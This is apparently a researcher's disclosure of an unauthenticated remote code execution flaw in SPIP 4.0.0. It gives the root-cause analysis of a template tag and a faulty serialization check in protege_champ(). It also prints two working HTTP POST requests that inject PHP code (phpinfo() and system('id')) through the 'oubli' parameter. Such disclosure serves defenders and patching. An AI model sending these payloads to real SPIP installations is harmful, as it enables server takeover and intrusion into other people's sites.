Let’s go straight to the heart of the matter. The vulnerability is a Remote Code Execution without authentication in SPIP (version 4.0.0).

How?

  • Method: POST
  • Path: spip.php?page=spip_pass&lang=fr
  • Parameter: $_POST['oubli']

Example 1

It is possible to inject a serialized string into the variable $_POST['oubli']. This string will not be deserialized but reflected due to the combination of several bugs (this will be explained in the “Why?” part).

Request:

POST /projects/spip/4.0/spip.php?page=spip_pass&lang=fr HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

page=spip_pass&lang=fr&formulaire_action=oubli&formulaire_action_args=0OzOVT43u2CG2Gk7nR6kCsEJALR44jn8Cfypg%2B9FjFGS%2BsLu9c605k4Ac494odelF5JPmWDPj2Zp7p1P&oubli=s:19:"<?php phpinfo(); ?>";

The variable $_POST['formulaire_action_args'] can be seen as a kind of CSRF token which is retrieved after making a first GET request on the route spip.php?page=spip_pass&lang=fr, just before making the request above.

In Burps’s repeater:

alt text

You can use Burp’s “show response in browser” tool to better see the result.

alt text

Example 2

There is no need to change $_POST['formulaire_action_args'].

Request:

POST /projects/spip/4.0/spip.php?page=spip_pass&lang=fr HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 191

page=spip_pass&lang=fr&formulaire_action=oubli&formulaire_action_args=0OzOVT43u2CG2Gk7nR6kCsEJALR44jn8Cfypg%2B9FjFGS%2BsLu9c605k4Ac494odelF5JPmWDPj2Zp7p1P&oubli=s:22:"<?php system('id'); ?>";

In Burp’s repeater:

alt text

Browser’s view:

alt text

Why?

The vulnerability is exploitable because of two bugs. This is a combination of overly permissive variable sanitization due to the use of a dangerous template tag and the use of a bad regular expression.

Here is the call stack related to the vulnerability:

formulaire_.php:42, protege_champ()
formulaire_.php:240, balise_FORMULAIRE__contexte()
formulaire_.php:159, balise_FORMULAIRE__dyn()
-
evaluer_page.php:51, include()
public.php:157, include()
spip.php:20, {main}()

Bug 1: Use of a dangerous template tag

The template related to the path spip.php?page=spip_pass&lang=fr is the following one:

File: squelettes-dist/formulaires/oubli.html

<div class="formulaire_spip formulaire_oubli">
[<p class="reponse_formulaire reponse_formulaire_erreur" role="alert">(#ENV*{message_erreur})</p>]
[<p class="reponse_formulaire reponse_formulaire_ok" role="status">(#ENV*{message_ok})</p>]
[(#ENV*{editable}|?{' '})
<form id="oubli_form" action="[(#ENV{action})]" method="post">
	[(#REM) activer le traitement auto et dispatch sur charger/verifier/traiter]
	#ACTION_FORMULAIRE
	<fieldset>
		<legend><:pass_nouveau_pass:></legend>
		<p><:pass_procedure_changer:></p>
		<div class="editer-groupe">
			<div class="editer saisie_oubli obligatoire[ (#ENV*{erreurs}|table_valeur{oubli}|oui)erreur]">
				<label for="oubli"><:entree_adresse_email:></label>
				[<span class='erreur_message'>(#ENV**{erreurs}|table_valeur{oubli})</span>]
				<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
			</div>
		</div>
	</fieldset>
	[(#REM) Piege a robots spammeurs ]
	<p style="display: none;">
		<label for="nobot"><:antispam_champ_vide:></label>
		<input type="text" class="text" name="nobot" id="nobot" value="#ENV{nobot}" size="10" />
	</p>
	<p class="boutons"><input type="submit" class="btn submit" value="<:pass_ok:>" /></p>
</form>
]
</div>

It uses the tag #ENV and more precisely its least secure version #ENV** whose description is explained below.

alt text

alt text

It is therefore the following line that allows to exploit the first bug.


...

<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />

...

As we can see through the call stack, even if the use of this tag potentially implies security problems, a treatment by the protege_champ() function is still applied to it.

Bug 2: Use of a bad regular expression

The function protege_champ() is defined by the following code:

File: ecrire/balise/formulaire_.php

/**
 * Protéger les saisies d'un champ de formulaire
 *
 * Proteger les ' et les " dans les champs que l'on va injecter,
 * sans toucher aux valeurs sérialisées
 *
 * @see entites_html()
 * @param string|array $texte
 *     Saisie à protéger
 * @return string|array
 *     Saisie protégée
 **/
function protege_champ($texte) {
	if (is_array($texte)) {
		$texte = array_map('protege_champ', $texte);
	} else {
		// ne pas corrompre une valeur serialize
		if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
			return $texte;
		}
		if (is_string($texte)
			and $texte
			and strpbrk($texte, "&\"'<>") !== false
		) {
			$texte = spip_htmlspecialchars($texte, ENT_QUOTES);
		} elseif (is_bool($texte)) {
			$texte = ($texte ? '1' : '');
		}
	}

	return $texte;
}

The function protege_champ() will be applied to our parameter $_POST['oubli'] which is a string and not an array. So we enter the else condition:

File: ecrire/balise/formulaire_.php


...

	} else {
		// ne pas corrompre une valeur serialize
		if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
			return $texte;
		}
		if (is_string($texte)
			and $texte
			and strpbrk($texte, "&\"'<>") !== false
		) {
			$texte = spip_htmlspecialchars($texte, ENT_QUOTES);
		} elseif (is_bool($texte)) {
			$texte = ($texte ? '1' : '');
		}

...

What interests us most is the following lines:

File: ecrire/balise/formulaire_.php


...

	} else {
		// ne pas corrompre une valeur serialize
		if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
			return $texte;
		}

...

We understand that the code does not perform any processing on the serialized strings and returns them directly. This is the reason why it is possible to inject into the $_POST['oubli'] variable serialized strings containing PHP code and this is what allows to get code execution.

The vulnerability exists in all SPIP versions of the last 10 years. It was introduced at the commit 4b83cb23ccbaa433fedc51040479230115bb4b5c.

UPDATES:

Date Also Affected Version
2022-04-1 4.1.1
2022-05-22 4.1.2
2022-07-21 4.1.5
2023-01-16 4.1.7
2023-01-27 4.2.0-alpha

POC